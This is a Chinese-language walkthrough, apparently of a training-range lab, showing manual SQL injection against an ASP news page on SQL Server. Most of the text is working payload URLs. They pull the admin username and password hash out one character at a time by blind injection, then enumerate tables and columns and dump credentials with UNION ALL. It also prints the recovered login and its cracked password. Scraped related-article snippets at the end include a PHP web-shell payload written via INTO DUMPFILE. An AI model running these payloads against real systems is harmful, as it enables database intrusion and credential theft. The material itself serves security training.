SQL手工注入漏洞测试(Sql Server数据库)

还是先找到注入点,然后order by找出字段数:4

通过SQL语句中and 1=2 union select 1,2,3……,n联合查询,判断显示的是哪些字段,就是原本显示标题和内容时候的查询字段。此处返回的是错误页面,说明系统禁止使用union进行相关SQL查询,我们得使用其他方式进行手工SQL注入。

一、盲注

盲猜爆出表名

通过SQL语句中的and exists(select username from manage)查询,判断manage数据库表表中存在的字段。此处返回内容为正常页面,说明数据库表中存在username字段。同理找出password字段

页面提交:http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
数据库执行语句:select * from manage where id=2 and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)
页面返回描述:返回内容为正常页面
分析解说:通过SQL语句中的通过SQL语句中的and exists (select id from manage where unicode(substring(username,2,1))=100 and ID=1)查询,判断manage数据库表表中id=1的username字段值的第一位字符。此处返回内容为正常页面,说明数据库表中ID=1的username字段值的第一位等于‘d’。

http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,3,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,4,1))=105 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,5,1))=110 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,6,1))=95 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,7,1))=109 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(username,8,1))=122 and ID=1)
最后得到的username值是:admin_mz

利用注入username字段值的方法对password字段进行注入,分别提交以下URL请求,即可得到id=1的password字段的值。
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,1,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,2,1))=50 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,3,1))=101 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,4,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,5,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,6,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,7,1))=99 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,8,1))=51 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,9,1))=102 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,10,1))=48 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,11,1))=49 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,12,1))=98 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,13,1))=55 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,14,1))=53 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,15,1))=56 and ID=1)
http://mozhe.cn/new_list.asp?id=2 and exists (select id from manage where unicode(substring(password,16,1))=51 and ID=1)
最后得到的password值是:72e1bfc3f01b7583

通过MD5解密网站得知明文password值为97285101

二、union all

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,null,null,null

用union all select null,null,null,null四个null分别尝试回显位置,得到回显语句:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,null,null

//逐一测试,显示位3为字符型,导致的一些bug

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,2,‘3‘,null

数据库

//这里也可以使用db_name(1)、db_name(2)查询其他数据库

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,db_name(),null,null

结果为:mozhe_db_v2

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘),‘3‘,4

//xtype=‘u‘ :查看用户表

结果:manage

查看有没别的表

http://219.153.49.228:44082/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘ and name not in (‘manage‘)),‘3‘,4

结果:announcement

继续查看表

id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u‘ and name not in (‘manage‘,‘announcement‘)),‘3‘,4

结果空,说明没有别的了。

列名

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),1) from sysobjects),null,null

得出:id

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),2) from sysobjects),null,null

得出:username

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),3) from sysobjects),null,null

得出:password

id=-2 union all select null,(select top 1 col_name(object_id(‘manage‘),4) from sysobjects),null,null

得出:空

说明mange表总共有3列,分别为:id、username、password

爆破:

http://219.153.49.228:44082/new_list.asp?id=-2 union all select null,username, password ,null from manage

原文地址:https://www.cnblogs.com/WhiteHatKevil/p/10301334.html

时间: 2024-08-02 10:45:12

SQL手工注入漏洞测试(Sql Server数据库)的相关文章

80、SQL手工注入漏洞测试(MySQL数据库)

原文引用https://www.dazhuanlan.com/2019/08/25/5d62593d1d0a1/ 访问网页,进入登陆下方的滚动公告,进行测试注入点?id=1 and 1=1返回正常,?id=1 and 1=2 返回错误,说明有注入点.?id=1 order by 5查询列数.一直减少,直到页面返回正常?id=1 and 1=2 union select 1,version(),database(),4查询版本和数据库名称(此时知道数据库为mozhe_Discuz_StormGro

基于dvwa环境下级别为low的SQL手工注入教程

基于dvwa环境下级别为low的SQL手工注入教程: 首先是进入已搭建好的dvwa环境中去(一定要搭建好dvwa环境才能进行下面的操作),这可能会是一些初学者所面临的的第一个问题,比如我,曾为了寻找这个入口,浪费了不少的时间,所以在这里就提一下,最好是能够记住,忘了的话可以随时过来看一下:http://127.0.0.1/DVWA/setup.php. 按照提示点击最下面的按钮创建数据库,创建成功就会直接进入登录页面进行登录,然后就可以直接访问http://127.0.0.1/DVWA/logi

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

查看SQL语句执行时间与测试SQL语句性能

查看SQL语句执行时间与测试SQL语句性能 写程序的人,往往需要分析所写的SQL语句是否够优化.是否能提升执行效率,服务器的响应时间有多快,这个时候就需要用到SQL的STATISTICS状态值来查看了. 通过设置STATISTICS我们可以查看执行SQL时的系统情况.选项有PROFILE,IO ,TIME.介绍如下: SET STATISTICS PROFILE ON:显示分析.编译和执行查询所需的时间(以毫秒为单位). SET STATISTICS IO ON:报告与语句内引用的每个表的扫描数

mssql2005存手工注入漏洞附攻击方法- 寒龙网出品

/**/跟空格的作用一样,有的时候可以过一些过滤爆库语句,修改红色部分的数字挨个猜出库 /**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[

SQL手工注入小结

第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉.否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息. 数字型:and 1=1 and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='% IIS报错情况下使用: and user>0 (判

sql 手工注入 补充一(未完待续)

1. 基础用法: ./sqlmap.py -u “注入地址” -v 1 –dbs // 列举数据库./sqlmap.py -u “注入地址” -v 1 –current-db // 当前数据库./sqlmap.py -u “注入地址” -v 1 –users // 列数据库用户./sqlmap.py -u “注入地址” -v 1 –current-user // 当前用户./sqlmap.py -u “注入地址” -v 1 –tables -D “数据库” // 列举数据库的表名./sqlmap

sql手工注入时的探测技巧汇总

工具的灵活性肯定比不上人,在手工探测的基础上再去自定义工具,才是正道. sql注入时手工探测技巧 ==================================================================================================== * 探测过滤了哪些字符 select|.|,|;|'|(|)|#|updatexml|from|where|if|limit|group|by|order|floor|sleep|rand|*|/*|